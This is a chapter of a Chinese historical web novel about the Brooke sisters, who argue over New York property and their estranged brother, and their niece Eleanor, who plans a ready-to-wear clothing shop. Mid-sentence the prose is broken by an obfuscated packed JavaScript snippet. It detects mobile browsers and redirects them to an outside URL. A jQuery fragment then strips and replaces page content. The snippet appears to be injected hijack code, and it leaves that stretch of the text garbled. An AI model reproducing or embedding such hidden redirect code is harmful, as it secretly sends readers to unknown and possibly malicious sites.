书房里，玛蒂尔达夫人和伊迪丝小姐各自坐在惯常的位置上，干着各自的事，中间隔了长长的距离。
玛蒂尔达夫人手边摊开着几个未封口的信封，她正将一叠钞票精准地装入其中一个。伊迪丝小姐坐在她对面，膝上摊着一份《纽约晚邮报》，目光专注地停留在版面上。
「家里的马车该添置一辆了。」玛蒂尔达夫人率先打破沉默，指尖抚平信封的封口，「冬日里出行频繁，现有的两辆偶尔会周转不开。」
伊迪丝的视线从报纸上移开，声音轻柔：「玛蒂尔达，我认为没有这个必要。冬季社交季已经结束，现有的两辆马车完全够用。这是一笔不必要的开支。」
玛蒂尔达夫人微微撇嘴，斜眼看向妹妹：「你真应该听听外面的人怎么议论你节省的美德！？都说布鲁克家的小姐过得如此节俭，怕不是被哪个男人骗光了家产。」
伊迪丝一时气结，将报纸重重一抖，索性不再理会自己的姐姐。
过了一会儿，马蒂尔达夫人放缓了语气，「罢了，购置马车这样的小事就依你。不过关于居住条件的大事，你还得多听听我的意见。」她往前挪了一个屁股的身位，「我考虑在中央公园周边，五十九街以北购置一块地皮。」
她的语气听起来，好像心中已经做好了规划，「许多从欧洲来的家族都在那里建造新宅。上次我去拜访阿斯特夫人的新居，她客厅的落地窗正对着中央广场的喷泉，坐在室内就能将公园景致尽收眼底，景色着实非凡。」
伊迪丝再次放下报纸，神情明显带着不赞同：「我们在第五大道的住宅已经非常舒适，为什么还要建造新的宅邸？如果我的算术不算差的话，这将会是我们在纽约的第三座宅邸？百老汇南段的老宅至今空置，每年还要额外雇人看守打理。依我看，与其建造新宅，不如搬回老宅去住。那里的房间布局更紧凑，也更适合我们目前的生活。」
「搬回那里？百老汇南段与拿骚街交汇处？」玛蒂尔达夫人的声音提高了些许，「天哪，伊迪丝，你知道现在那里住的都是些什么人吗？尽是些满眼只有权力和金钱的投机客。你要我和他们挤在那些联排屋子里吗？」
「这不是真的！玛蒂尔达，我们的老宅拥有独立的庭院和整栋建筑，不需要与任何人共用墙壁。而且我们在那里度过了美好的童年和青年时光！」伊迪丝反驳道，「空间布局上虽然比这里小一些，但足够每个家庭成员都能拥有自己的房间。如果你实在不愿回去，我建议将老宅出租，这样还能节省一笔不小的维护费用。」
「出租？」玛蒂尔达夫人像是听到了什么不可思议的话，「祖辈的房产怎么能随便租给不明身份的人？百老汇南段的门牌号本身就是身份的证明，那是纽约最早一批体面人的象征。况且，那里的社区活动和宴会依然重要。上回来访的三位银行家，有两位就是在老宅那边的社交场合结识的。」
「瞧呀，我亲爱的姐姐，你刚才还说那些人都是投机客？」伊迪丝微微摇头：「若只是因为社交考量，我更不赞成在中央公园旁再建新宅。多出来的房子留给谁住？难道要给墨西哥当窝，还是给远在欧洲的亨利留着？」
谈话陷入了短暂的僵局。姐妹二人各执一词
……
「目光要放长远些，伊迪丝。我们置办地产，难道不是守护家产的一种方式？纽约就这么大块儿地，但涌入的人越来越多，地块儿只会越来越值钱。更何况，那些欧洲来的人，不乏体面的人家，眼界早已不同往日。他们不仅要住得宽敞，更要住得有风景、有格调，能融入顶尖的圈子，接触到最核心的资源。可是，第五大道已经对他们关上门了。」
玛蒂尔达这番话确实在理。伊迪丝沉默地盯着手中报纸，不得不承认姐姐在经营家产上的敏锐。
但她不能这么轻易地松口。
「若我在这件事上点头，」伊迪丝声音轻柔却带着试探，「我亲爱的姐姐，是否也能应允我一件事？」
玛蒂尔达立刻警觉起来，如临大敌般地看着自己的妹妹，谨慎地没有接话。
伊迪丝知道这是个棘手的议题，但还是深吸一口气，将她们争执过多次的话题再次抛出，「那哈德逊河谷的庄园呢？我们是否该划出一部分，留给埃莉诺的父亲？至少……给他一个回到北方的理由。」
「他？」玛蒂尔达的唇间吐出这个单词。两姐妹竟默契地没有提及她们弟弟的名字。
随即她冷哼一声，「他去南方的时候，已经变卖并带走了法律上完全属于他的那份产业。他拿走了现钱，留下了土地。交易已经完成。」
「可那是祖产，玛蒂尔达！」伊迪丝的语气带着难得的坚持，「庄园姓布鲁克，流淌着布鲁克家族几代人的心血。那里不只有田产和果园，还有我们布鲁克几代人的根……他至少拥有回去居住的权利。就算是我们借给他暂住？」
「我也姓布鲁克！」玛蒂尔达的声音陡然变得锐利，「虽然因为婚姻，我曾在法律文书上短暂地使用过另一个姓氏，但我从未忘记自己血脉里流淌的是什么。我守护着这里的一切，而他是主动放弃、远走他乡的人。况且，自从他破产以后，他可曾写过一封信，主动提过一句想回来？」
哈德逊河谷的田园牧歌、祖辈传承的优雅与坚持，在此刻，凝练成一句尖锐而现实的讽刺：
「别自作多情了，伊迪丝！」
「或许……他只是放不下那份骄傲。」伊迪丝的声音低了下去，带着一丝姐姐对弟弟的疼惜，「失败的经历磨掉了他的勇气。也许，正需要我们主动递出那枝橄榄枝。」
「骄傲？」玛蒂尔达几乎要冷笑了，「伊迪丝，他是个男人，一个成年男人！如果他连承认失败的勇气都没有，连向我们——他的亲姐姐——低一次头的勇气都匮乏至此，那我们又何必自作多情？」
「可我们是他的姐姐啊……」伊迪丝的话语里带着无奈的恳求。
「姐姐？」玛蒂尔达重复着这个词，目光锐利地看向妹妹，「那么，请告诉我，我们这位亲爱的弟弟，这么多年来，除了每年圣诞那张措辞客套、千篇一律的贺卡，他还给过我们什么？哦，对了，」她像是忽然想起，语气里带着一种刻意的恍然和深藏的刺痛，「他不是什么都没有送来，他送来了——」
/
玛蒂尔达夫人唇边那句尖锐的话语尚未完全落下，书房门被轻轻叩响。
埃莉诺的身影出现在门口，她脸上带着恰到好处的微笑，仿佛完全没有察觉到室内凝滞的气氛。「玛蒂尔达姑妈，伊迪丝姑妈，希望没有打扰你们。」她步履轻盈地走进来，手中捧着两个用柔软棉布包裹好的小包裹。
「正好你们都在，」她将包裹分别递给玛蒂尔达和伊迪丝，「前些日子你们不是都问起我穿的那件新式内衣吗？感觉既舒适又便于行动。我按你们的尺寸各做了一件，用的是最柔软的棉布，里面加了少许弹性支撑，希望你们喜欢。」
伊迪丝接过包裹，指尖触摸到里面柔软的织物，连声称谢。玛蒂尔达也微微颔首，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16631987|184715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
算是收下了这份心意，脸色缓和了许多。
「做得这么快？给我量尺寸不过前两天的事情吧。」
「做过一回，再做起来确实快很多。姑妈，您回头试过之后，有哪里不合适，再告诉我修改。」
玛蒂尔达夫人点头表示知道了，并没有当场拆开。
埃莉诺趁此机会，语气轻快地宣布：「另外，关于我之前提起的，想自己做点小生意的事……我想我已经找到方向了。」她迎上玛蒂尔达探询的目光，「我打算开一家服装店。」
「服装店？」玛蒂尔达沉吟片刻，这倒没有超出她的预期，「不失为一个适合淑女尝试的营生。那么，你可物色到可靠又有经验的裁缝了？」
埃莉诺摇了摇头，说出她和安妮的想法：「不，姑妈。安妮给了我很好的建议，我们不打算走定制路线。我们想销售成衣。」
「成衣？」伊迪丝也抬起头，显得有些意外。
「就像我前几天穿的那种连衣裙，」埃莉诺解释道，「样式简单，尺码标准，客人看中了就可以直接买走，无需漫长等待。」
玛蒂尔达夫人思考了一下，缓缓点头：「这想法……倒也算新颖。或许能吸引一些追求时髦的年轻女孩。不过，」她提出一个实际问题，「眼看就是寒冬，你那样的薄裙子恐怕不行，得考虑加入保暖的衬里。」忽然，她像是想到什么，目光变得古怪起来，指了指手中的棉布包裹，「等等，埃莉诺，你店里不会也打算卖这个……‘安全胸衣’吧？」
埃莉诺迟疑摇头，回答得十分谨慎：「目前还没有这个打算。现在可能还不是推出它的合适时机。」
「算你还有些分寸，」玛蒂尔达夫人的语气放松下来，「这种新奇玩意儿，我们自己私下穿穿也就罢了。你不会真想着让所有女人都立刻抛弃束腰吧？那会惹来多少不必要的目光和非议。」她接着提醒道，「记住，在外面奔波、操劳的具体事务，交给安妮去做。你需要做的是把控方向，管好账目。尽量少自己抛头露面。」她顿了顿，像是忽然想起，又问，「启动资金可算好数了？需要我……」
「谢谢姑妈，但我希望能自己解决。」埃莉诺接过话，她似乎就等着这个问题，「我只是想打听一下，您近期是否会去拜访范里安先生？」
玛蒂尔达夫人挑起眉：「查尔斯？你怎么突然对他感兴趣了？我记得你向来最不耐烦这类拜访。」
埃莉诺早已准备好说辞，她说出脑中的几个“得分项”：「因为我希望能为他引荐一项专利。是一种能让火车运行更安全、同时还能节约成本的装置。如果这项发明确实有价值，我希望范里安先生能基于它的价值，向我支付一笔合理的酬金。这样，我就有了启动资金，而不必动用我的私房钱，或者向您或伊迪丝姑妈伸手了。」
玛蒂尔达夫人细细的眉毛高高挑起，她惊讶看了埃莉诺一眼。然后又和妹妹伊迪丝对了一个眼神。但是突然想起，刚才两人还差点吵起来，立刻收回目光。
她最终没有对此发表任何评论，只是不置可否地「嗯」了一声。
伊迪丝却没有掩藏太多情绪，她既感动又欣慰，「哦，埃莉诺。我的女孩。」
就在这时，门外传来规律的脚步声。梅布尔太太、米芙和安妮依次安静地站在门边。
埃莉诺知道这是每月固定的发薪时刻，她立刻优雅地起身。
「看来姑妈还有正事要忙，我就不打扰了。」
她微笑着行礼，随后便安静地退出了书房。